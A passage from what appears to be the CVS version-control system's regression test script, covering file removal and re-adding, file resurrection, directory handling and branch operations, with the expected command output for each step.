9\\.1\ndone\nChecking in file5;\n${CVSROOT_DIRNAME}/first-dir/file5,v <-- file5\nnew revision: 9\\.2; previous revision: 9\\.1\ndone\nChecking in sub/subfile;\n${CVSROOT_DIRNAME}/first-dir/sub/subfile,v <-- subfile\nnew revision: 9\\.1; previous revision: 1\\.1\ndone\"\n\n\t if $remote; then\n\t # as noted above, remote doesn't set a sticky tag\n\t :\n\t else\n\t dotest rmadd-32 \"cat CVS/Tag\" \"T9\"\n\t dotest rmadd-33 \"cat sub/CVS/Tag\" \"T9\"\n\t fi\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\trmadd2)\n\t # Tests of undoing commits, including in the presence of\n\t # adding and removing files. See join for a list of -j tests.\n\t mkdir 1; cd 1\n\t dotest rmadd2-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest rmadd2-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t echo 'initial contents' >file1\n\t dotest rmadd2-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest rmadd2-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t dotest rmadd2-4a \"${testcvs} -Q tag tagone\" \"\"\n\t dotest rmadd2-5 \"${testcvs} rm -f file1\" \\\n\"${PROG} remove: scheduling .file1. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest rmadd2-6 \"${testcvs} -q ci -m remove\" \\\n\"Removing file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t dotest rmadd2-7 \"${testcvs} -q update -j 1.2 -j 1.1 file1\" \"U file1\"\n\t dotest rmadd2-8 \"${testcvs} -q ci -m readd\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t echo 'new contents' >file1\n\t dotest rmadd2-9 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\t dotest rmadd2-10 \"${testcvs} -q update -j 1.4 -j 1.3 file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.4\nretrieving revision 1\\.3\nMerging differences between 1\\.4 and 1\\.3 into file1\"\n\t dotest rmadd2-11 \"${testcvs} -q ci -m undo\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\"\n\t dotest rmadd2-12 \"cat file1\" \"initial contents\"\n\t dotest rmadd2-13 \"${testcvs} -q update -p -r 1.3\" \"initial contents\"\n\n\t # Hmm, might be a bit odd that this works even if 1.3 is not\n\t # the head.\n\t dotest rmadd2-14 \"${testcvs} -q update -j 1.3 -j 1.2 file1\" \\\n\"${PROG} update: scheduling file1 for removal\"\n\n\t # Check that -p can get arbitrary revisions of a removed file\n\t dotest rmadd2-14a \"${testcvs} -q update -p\" \"initial contents\"\n\t dotest rmadd2-14b \"${testcvs} -q update -p -r 1.5\" \"initial contents\"\n\t dotest rmadd2-14c \"${testcvs} -q update -p -r 1.3\" \"initial contents\"\n\n\t dotest rmadd2-15 \"${testcvs} -q ci -m re-remove\" \\\n\"Removing file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.5\ndone\"\n\t dotest rmadd2-16 \"${testcvs} log -h file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\nWorking file: file1\nhead: 1\\.6\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\ttagone: 1\\.1\nkeyword substitution: kv\ntotal revisions: 6\n=============================================================================\"\n\t dotest rmadd2-17 \"${testcvs} status -v file1\" \\\n\"===================================================================\nFile: no file file1\t\tStatus: Up-to-date\n\n Working revision:\tNo entry for file1\n Repository revision:\t1\\.6\t${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\n\n Existing Tags:\n\ttagone \t(revision: 1.1)\"\n\n\t cd ../..\n\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\trmadd3)\n # This test demonstrates that CVS notices that file1 exists rather\n\t # that deleting or writing over it after:\n\t #\n\t # cvs remove -f file1; touch file1; cvs add file1.\n\t #\n # According to the manual, this should work for:\n\t #\n\t # rm file1; cvs remove file1; cvs add file1\n\t #\n\t # but in past version of CVS, new content in file1 would be\n\t # erroneously deleted when file1 reappeared between the remove and\n\t # the add.\n\t #\n\t # Later versions of CVS would refuse to perform the add, but still\n\t # allow a subsequent local commit to erase the file from the\n\t # workspace, possibly losing data.\n\t mkdir 1; cd 1\n\t dotest rmadd3-init1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest rmadd3-init2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\n\t echo initial content for file1 >file1\n\t dotest rmadd3-init3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file \\`file1' for addition\n${PROG} add: use '${PROG} commit' to add this file permanently\"\n\t dotest rmadd3-init4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n\t # Here begins the guts of this test, as detailed above.\n\t dotest rmadd3-1 \"${testcvs} rm -f file1\" \\\n\"${PROG} remove: scheduling \\`file1' for removal\n${PROG} remove: use '${PROG} commit' to remove this file permanently\"\n\n # Now recreate the file:\n\t echo desired future contents for file1 >file1\n\n\t # And attempt to resurrect it at the same time:\n\t dotest_fail rmadd3-2 \"${testcvs} add file1\" \\\n\"${PROG} add: file1 should be removed and is still there (or is back again)\"\n\n\t # Now prove that commit knows that it shouldn't erase files.\n\t dotest_fail rmadd3-3 \"${testcvs} -q ci -m.\" \\\n\"$PROG commit: \\`file1' should be removed and is still there (or is back again)\n$PROG \\[commit aborted\\]: correct above errors first!\"\n\n\t # Then these should pass too:\n\t dotest rmadd3-4 \"test -f file1\"\n\t dotest rmadd3-5 \"cat file1\" \"desired future contents for file1\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tresurrection)\n\t # This test tests a few file resurrection scenarios.\n\t mkdir 1; cd 1\n\t dotest resurrection-init1 \"$testcvs -q co -l .\" ''\n\t mkdir first-dir\n\t dotest resurrection-init2 \"$testcvs add first-dir\" \\\n\"Directory $CVSROOT_DIRNAME/first-dir added to the repository\"\n\t cd first-dir\n\n\t echo initial content for file1 >file1\n\t dotest resurrection-init3 \"$testcvs add file1\" \\\n\"$PROG add: scheduling file \\`file1' for addition\n$PROG add: use '$PROG commit' to add this file permanently\"\n\t dotest resurrection-init4 \"$testcvs -q ci -m add\" \\\n\"RCS file: $CVSROOT_DIRNAME/first-dir/file1,v\ndone\nChecking in file1;\n$CVSROOT_DIRNAME/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n\t dotest resurrection-init5 \"$testcvs -Q rm -f file1\"\n\n\t # The first test is that `cvs add' will resurrect a file before its\n\t # removal has been committed.\n\t dotest_sort resurrection-1 \"$testcvs add file1\" \\\n\"U file1\n$PROG add: file1, version 1\\.1, resurrected\"\n\t dotest resurrection-2 \"$testcvs -Q diff file1\" \"\"\n\n\t dotest resurrection-init6 \"$testcvs -Q tag -b resurrection\"\n\t dotest resurrection-init7 \"$testcvs -Q rm -f file1\"\n\t dotest resurrection-init8 \"$testcvs -Q ci -mrm\" \\\n\"Removing file1;\n$CVSROOT_DIRNAME/first-dir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # The next test is that CVS will resurrect a committed removal.\n\t dotest_sort resurrection-3 \"$testcvs add file1\" \\\n\"U file1\n$PROG add: Re-adding file \\`file1' (in place of dead revision 1\\.2)\\.\n$PROG add: Resurrecting file \\`file1' from revision 1\\.1\\.\n$PROG add: use 'cvs commit' to add this file permanently\"\n\t dotest resurrection-4 \"$testcvs -q diff -r1.1 file1\" \"\"\n\t dotest resurrection-5 \"$testcvs -q ci -mreadd\" \\\n\"Checking in file1;\n$CVSROOT_DIRNAME/first-dir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\n\t dotest resurrection-init9 \"$testcvs -Q up -rresurrection\"\n\t dotest resurrection-init10 \"$testcvs -Q rm -f file1\"\n\t dotest resurrection-init11 \"$testcvs -Q ci -mrm-on-resurrection\" \\\n\"Removing file1;\n$CVSROOT_DIRNAME/first-dir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # The next test is that CVS will resurrect a committed removal to a\n\t # branch.\n\t dotest_sort resurrection-6 \"$testcvs add file1\" \\\n\"U file1\n$PROG add: Resurrecting file \\`file1' from revision 1\\.1\\.\n$PROG add: file \\`file1' will be added on branch \\`resurrection' from version 1\\.1\\.2\\.1\n$PROG add: use 'cvs commit' to add this file permanently\"\n\t dotest resurrection-7 \"$testcvs -Q diff -r1.1 file1\" \"\"\n\t dotest resurrection-8 \"$testcvs -q ci -mreadd\" \\\n\"Checking in file1;\n$CVSROOT_DIRNAME/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\"\n\n\t # The next few tests verify that an attempted resurrection of a file\n\t # with no previous revision on the trunk fails.\n\t touch file2\n\t dotest resurrection-9 \"$testcvs -Q add file2\"\n\t dotest resurrection-10 \"$testcvs -Q ci -mnew-file2\" \\\n\"RCS file: $CVSROOT_DIRNAME/first-dir/Attic/file2,v\ndone\nChecking in file2;\n$CVSROOT_DIRNAME/first-dir/Attic/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t dotest resurrection-11 \"$testcvs -Q up -A\"\n\n\t # This command once caused an assertion failure.\n\t dotest resurrection-12 \"$testcvs add file2\" \\\n\"$PROG add: File \\`file2' has no previous revision to resurrect\\.\"\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf $CVSROOT_DIRNAME/first-dir\n\t ;;\n\n\tdirs)\n\t # Tests related to removing and adding directories.\n\t # See also:\n\t # conflicts (especially dir1 in conflicts-130): What happens if\n\t # directory exists in repository and a non-CVS-controlled\n\t # directory in the working directory?\n\t # conflicts3-15. More cases, especially where CVS directory\n\t # exists but without CVS/Repository and friends.\n\t # conflicts3-22. Similar to conflicts-130 but there is a file\n\t # in the directory.\n\t # dirs2. Sort of similar to conflicts3-22 but somewhat different.\n\t mkdir imp-dir; cd imp-dir\n\t echo file1 >file1\n\t mkdir sdir\n\t echo sfile >sdir/sfile\n\t dotest_sort dirs-1 \\\n\"${testcvs} import -m import-it dir1 vend rel\" \"\n\nN dir1/file1\nN dir1/sdir/sfile\nNo conflicts created by this import\n${PROG} import: Importing ${CVSROOT_DIRNAME}/dir1/sdir\"\n\t cd ..\n\n\t mkdir 1; cd 1\n\t dotest dirs-2 \"${testcvs} -Q co dir1\" \"\"\n\n\t # Various CVS administrators are in the habit of removing\n\t # the repository directory for things they don't want any\n\t # more. I've even been known to do it myself (on rare\n\t # occasions). Not the usual recommended practice, but we want\n\t # to try to come up with some kind of reasonable/documented/sensible\n\t # behavior.\n\t rm -rf ${CVSROOT_DIRNAME}/dir1/sdir\n\n\t dotest dirs-3 \"${testcvs} update\" \\\n\"${PROG} update: Updating dir1\n${PROG} update: Updating dir1/sdir\n${PROG} update: cannot open directory ${CVSROOT_DIRNAME}/dir1/sdir: No such file or directory\n${PROG} update: skipping directory dir1/sdir\"\n\t dotest dirs-3a \"${testcvs} update -d\" \\\n\"${PROG} update*: Updating dir1\n${PROG} update: Updating dir1/sdir\n${PROG} update: cannot open directory ${CVSROOT_DIRNAME}/dir1/sdir: No such file or directory\n${PROG} update: skipping directory dir1/sdir\"\n\n\t # If we say \"yes\", then CVS gives errors about not being able to\n\t # create lock files.\n\t # The fact that it says \"skipping directory \" rather than\n\t # \"skipping directory dir1/sdir\" is some kind of bug.\n\t dotest dirs-4 \"echo no | ${testcvs} release -d dir1/sdir\" \\\n\"${PROG} update: cannot open directory ${CVSROOT_DIRNAME}/dir1/sdir: No such file or directory\n${PROG} update: skipping directory \nYou have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .dir1/sdir': .. .release' aborted by user choice.\"\n\n\t # OK, if \"cvs release\" won't help, we'll try it the other way...\n\t rm -r dir1/sdir\n\n\t dotest dirs-5 \"cat dir1/CVS/Entries\" \\\n\"/file1/1.1.1.1/[a-zA-Z0-9 :]*//\nD/sdir////\"\n\t dotest dirs-6 \"${testcvs} update\" \"${PROG} update: Updating dir1\"\n\t dotest dirs-7 \"cat dir1/CVS/Entries\" \\\n\"/file1/1.1.1.1/[a-zA-Z0-9 :]*//\nD/sdir////\"\n\t dotest dirs-8 \"${testcvs} update -d dir1\" \\\n\"${PROG} update: Updating dir1\"\n\n\t cd ..\n\n\t rm -r imp-dir 1\n\n\t # clean up our repositories\n\t rm -rf ${CVSROOT_DIRNAME}/dir1\n\t ;;\n\n\tdirs2)\n\t # See \"dirs\" for a list of tests involving adding and\n\t # removing directories.\n\t mkdir 1; cd 1\n\t dotest dirs2-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest dirs2-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t mkdir sdir\n\t dotest dirs2-3 \"${testcvs} add sdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/sdir added to the repository\"\n\t touch sdir/file1\n\t dotest dirs2-4 \"${testcvs} add sdir/file1\" \\\n\"${PROG} add: scheduling file .sdir/file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest dirs2-5 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/file1,v\ndone\nChecking in sdir/file1;\n${CVSROOT_DIRNAME}/first-dir/sdir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t rm -r sdir/CVS\n\t if $remote; then\n\t # This is just like conflicts3-23\n\t dotest_fail dirs2-6 \"${testcvs} update -d\" \\\n\"${QUESTION} sdir\n${PROG} update: Updating \\.\n${PROG} update: Updating sdir\n${PROG} update: move away sdir/file1; it is in the way\nC sdir/file1\"\n\t rm sdir/file1\n\t rm -r sdir/CVS\n\n\t # This is where things are not just like conflicts3-23\n\t dotest dirs2-7 \"${testcvs} update -d\" \\\n\"${QUESTION} sdir\n${PROG} update: Updating \\.\n${PROG} update: Updating sdir\nU sdir/file1\"\n\t else\n\t dotest dirs2-6 \"${testcvs} update -d\" \\\n\"${PROG} update: Updating \\.\n${QUESTION} sdir\"\n\t rm sdir/file1\n\t dotest dirs2-7 \"${testcvs} update -d\" \\\n\"${PROG} update: Updating \\.\n${QUESTION} sdir\"\n\t fi\n\t cd ../..\n\n\t # Now, the same thing (more or less) on a branch.\n\t mkdir 2; cd 2\n\t dotest dirs2-8 \"${testcvs} -q co first-dir\" 'U first-dir/sdir/file1'\n\t cd first-dir\n\t dotest dirs2-9 \"${testcvs} -q tag -b br\" \"T sdir/file1\"\n\t rm -r sdir/CVS\n\t if $remote; then\n\t # Cute little quirk of val-tags; if we don't recurse into\n\t # the directories where the tag is defined, val-tags won't\n\t # get updated.\n\t dotest_fail dirs2-10 \"${testcvs} update -d -r br\" \\\n\"${QUESTION} sdir\n${PROG} \\[update aborted\\]: no such tag br\"\n\t dotest dirs2-10ar \\\n\"${testcvs} -q rdiff -u -r 1.1 -r br first-dir/sdir/file1\"\n\t dotest_fail dirs2-10-again \"${testcvs} update -d -r br\" \\\n\"${QUESTION} sdir\n${PROG} update: Updating \\.\n${PROG} update: Updating sdir\n${PROG} update: move away sdir/file1; it is in the way\nC sdir/file1\"\n\t else\n\t dotest_fail dirs2-10 \"${testcvs} update -d -r br\" \\\n\"${PROG} update: in directory sdir:\n${PROG} \\[update aborted\\]: there is no version here; do '${PROG} checkout' first\"\n\t fi\n\t cd ../..\n\n\t # OK, the above tests make the situation somewhat harder\n\t # than it might be, in the sense that they actually have a\n\t # file which is alive on the branch we are updating. Let's\n\t # try it where it is just a directory where all the files\n\t # have been removed.\n\t mkdir 3; cd 3\n\t dotest dirs2-11 \"${testcvs} -q co -r br first-dir\" \\\n\"U first-dir/sdir/file1\"\n\t cd first-dir\n\t # Hmm, this doesn't mention the branch like add does. That's\n\t # an odd non-orthogonality.\n\t dotest dirs2-12 \"${testcvs} rm -f sdir/file1\" \\\n\"${PROG} remove: scheduling .sdir/file1. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest dirs2-13 \"${testcvs} -q ci -m remove\" \\\n\"Removing sdir/file1;\n${CVSROOT_DIRNAME}/first-dir/sdir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t cd ../../2/first-dir\n\t if $remote; then\n\t dotest dirs2-14 \"${testcvs} update -d -r br\" \\\n\"${QUESTION} sdir/file1\n${PROG} update: Updating \\.\n${PROG} update: Updating sdir\"\n\t else\n\t dotest dirs2-14 \"${testcvs} update -d -r br\" \\\n\"${PROG} update: Updating \\.\n${QUESTION} sdir\"\n\t fi\n\t cd ../..\n\n\t rm -r 1 2 3\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tbranches)\n\t # More branch tests, including branches off of branches\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest branches-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\t echo 1:ancest >file1\n\t echo 2:ancest >file2\n\t echo 3:ancest >file3\n\t echo 4:trunk-1 >file4\n\t dotest branches-2 \"${testcvs} add file1 file2 file3 file4\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file2'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file3'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file4'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add these files permanently'\n\t dotest branches-2a \"${testcvs} -n -q ci -m dont-commit\" \"\"\n\t dotest_lit branches-3 \"${testcvs} -q ci -m add-it\" <file4\n\t dotest branches-3.2 \"${testcvs} -q ci -m trunk-before-branch\" \\\n\"Checking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t # The \"cvs log file4\" in test branches-14.3 will test that we\n\t # didn't really add the tag.\n\t dotest branches-3.3 \"${testcvs} -qn tag dont-tag\" \\\n\"T file1\nT file2\nT file3\nT file4\"\n\t # Modify this file before branching, to deal with the case where\n\t # someone is hacking along, says \"oops, I should be doing this on\n\t # a branch\", and only then creates the branch.\n\t echo 1:br1 >file1\n\t dotest branches-4 \"${testcvs} tag -b br1\" \"${PROG}\"' tag: Tagging \\.\nT file1\nT file2\nT file3\nT file4'\n\t dotest branches-5 \"$testcvs update -r br1\" \\\n\"$PROG update: Updating \\.\nM file1\n[UP] file2\n[UP] file3\n[UP] file4\"\n\t echo 2:br1 >file2\n\t echo 4:br1 >file4\n\t dotest branches-6 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: 1\\.2\\.2\\.1; previous revision: 1\\.2\ndone\"\n\t dotest branches-7 \"${testcvs} -q tag -b brbr\" 'T file1\nT file2\nT file3\nT file4'\n\t dotest branches-8 \"$testcvs -q update -r brbr\" \\\n'[UP] file1\n[UP] file2\n[UP] file3\n[UP] file4'\n\t echo 1:brbr >file1\n\t echo 4:brbr >file4\n\t dotest branches-9 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1\\.2\\.1; previous revision: 1\\.1\\.2\\.1\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: 1\\.2\\.2\\.1\\.2\\.1; previous revision: 1\\.2\\.2\\.1\ndone\"\n\t dotest branches-10 \"cat file1 file2 file3 file4\" '1:brbr\n2:br1\n3:ancest\n4:brbr'\n\t dotest branches-11 \"$testcvs -q update -r br1\" \\\n'U file1\n[UP] file2\n[UP] file3\nU file4'\n\t dotest branches-12 \"cat file1 file2 file3 file4\" '1:br1\n2:br1\n3:ancest\n4:br1'\n\t echo 4:br1-2 >file4\n\t dotest branches-12.2 \"${testcvs} -q ci -m change-on-br1\" \\\n\"Checking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: 1\\.2\\.2\\.2; previous revision: 1\\.2\\.2\\.1\ndone\"\n\t dotest branches-13 \"${testcvs} -q update -A\" \\\n'U file1\nU file2\n[UP] file3\nU file4'\n\t dotest branches-14 \"cat file1 file2 file3 file4\" '1:ancest\n2:ancest\n3:ancest\n4:trunk-2'\n\t echo 4:trunk-3 >file4\n\t dotest branches-14.2 \\\n\t \"${testcvs} -q ci -m trunk-change-after-branch\" \\\n\"Checking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t dotest branches-14.3 \"${testcvs} log file4\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file4,v\nWorking file: file4\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tbrbr: 1\\.2\\.2\\.1\\.0\\.2\n\tbr1: 1\\.2\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 6;\tselected revisions: 6\ndescription:\n----------------------------\nrevision 1\\.3\ndate: [0-9/: ]*; author: ${username}; state: Exp; lines: ${PLUS}1 -1\ntrunk-change-after-branch\n----------------------------\nrevision 1\\.2\ndate: [0-9/: ]*; author: ${username}; state: Exp; lines: ${PLUS}1 -1\nbranches: 1\\.2\\.2;\ntrunk-before-branch\n----------------------------\nrevision 1\\.1\ndate: [0-9/: ]*; author: ${username}; state: Exp;\nadd-it\n----------------------------\nrevision 1\\.2\\.2\\.2\ndate: [0-9/: ]*; author: ${username}; state: Exp; lines: ${PLUS}1 -1\nchange-on-br1\n----------------------------\nrevision 1\\.2\\.2\\.1\ndate: [0-9/: ]*; author: ${username}; state: Exp; lines: ${PLUS}1 -1\nbranches: 1\\.2\\.2\\.1\\.2;\nmodify\n----------------------------\nrevision 1\\.2\\.2\\.1\\.2\\.1\ndate: [0-9/: ]*; author: ${username}; state: Exp; lines: ${PLUS}1 -1\nmodify\n=============================================================================\"\n\t dotest_fail branches-14.4 \\\n\t \"${testcvs} diff -c -r 1.1 -r 1.3 file4\" \\\n\"Index: file4\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file4,v\nretrieving revision 1\\.1\nretrieving revision 1\\.3\ndiff -c -r1\\.1 -r1\\.3\n\\*\\*\\* file4\t${RFCDATE}\t1\\.1\n--- file4\t${RFCDATE}\t1\\.3\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n! 4:trunk-1\n--- 1 ----\n! 4:trunk-3\"\n\t dotest_fail branches-14.5 \\\n\t \"${testcvs} diff -c -r 1.1 -r 1.2.2.1 file4\" \\\n\"Index: file4\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file4,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\\.2\\.1\ndiff -c -r1\\.1 -r1\\.2\\.2\\.1\n\\*\\*\\* file4\t${RFCDATE}\t1\\.1\n--- file4\t${RFCDATE}\t1\\.2\\.2\\.1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n! 4:trunk-1\n--- 1 ----\n! 4:br1\"\n\t dotest branches-15 \\\n\t \"${testcvs} update -j 1.1.2.1 -j 1.1.2.1.2.1 file1\" \\\n\t \"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\\.2\\.1\nretrieving revision 1\\.1\\.2\\.1\\.2\\.1\nMerging differences between 1\\.1\\.2\\.1 and 1\\.1\\.2\\.1\\.2\\.1 into file1\nrcsmerge: warning: conflicts during merge\"\n\t dotest branches-16 \"cat file1\" '<<<<<<< file1\n1:ancest\n[=]======\n1:brbr\n[>]>>>>>> 1\\.1\\.2\\.1\\.2\\.1'\n\n\t dotest branches-o1 \"${testcvs} -q admin -o ::brbr\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file3,v\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file4,v\ndone\"\n\t cd ..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -r first-dir\n\t ;;\n\n\tbranches2)\n\t # More branch tests.\n\t # Test that when updating a new subdirectory in a directory\n\t # which was checked out on a branch, the new subdirectory is\n\t # created on the appropriate branch. Test this when joining\n\t # as well.\n\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir trunk; cd trunk\n\n\t # Create a file.\n\t dotest branches2-1 \"${testcvs} -q co first-dir\"\n\t cd first-dir\n\t echo \"file1 first revision\" > file1\n\t dotest branches2-2 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest branches2-3 \"${testcvs} commit -m add file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n\t # Tag the file.\n\t dotest branches2-4 \"${testcvs} -q tag tag1\" 'T file1'\n\n\t # Make two branches.\n\t dotest branches2-5 \"${testcvs} -q rtag -b -r tag1 b1 first-dir\" ''\n\t dotest branches2-6 \"${testcvs} -q rtag -b -r tag1 b2 first-dir\" ''\n\n\t # Create some files and a subdirectory on branch b1.\n\t cd ../..\n\t mkdir b1; cd b1\n\t dotest branches2-7 \"${testcvs} -q co -r b1 first-dir\" \\\n\"U first-dir/file1\"\n\t cd first-dir\n\t echo \"file2 first revision\" > file2\n\t dotest branches2-8 \"${testcvs} add file2\" \\\n\"${PROG}\"' add: scheduling file `file2'\\'' for addition on branch `b1'\\''\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t mkdir dir1\n\t dotest branches2-9 \"${testcvs} add dir1\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir1 added to the repository\n--> Using per-directory sticky tag \"'`'\"b1'\"\n\t echo \"file3 first revision\" > dir1/file3\n\t dotest branches2-10 \"${testcvs} add dir1/file3\" \\\n\"${PROG}\"' add: scheduling file `dir1/file3'\\'' for addition on branch `b1'\\''\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest branches2-11 \"${testcvs} -q ci -madd .\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/Attic/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/Attic/file3,v\ndone\nChecking in dir1/file3;\n${CVSROOT_DIRNAME}/first-dir/dir1/Attic/file3,v <-- file3\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t # Check out the second branch, and update the working\n\t # directory to the first branch, to make sure the right\n\t # happens with dir1.\n\t cd ../..\n\t mkdir b2; cd b2\n\t dotest branches2-12 \"${testcvs} -q co -r b2 first-dir\" \\\n'U first-dir/file1'\n\t cd first-dir\n\t dotest branches2-13 \"${testcvs} update -d -r b1 dir1\" \\\n\"${PROG} update: Updating dir1\nU dir1/file3\"\n\t dotest branches2-14 \"${testcvs} -q status\" \\\n\"===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tb2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky 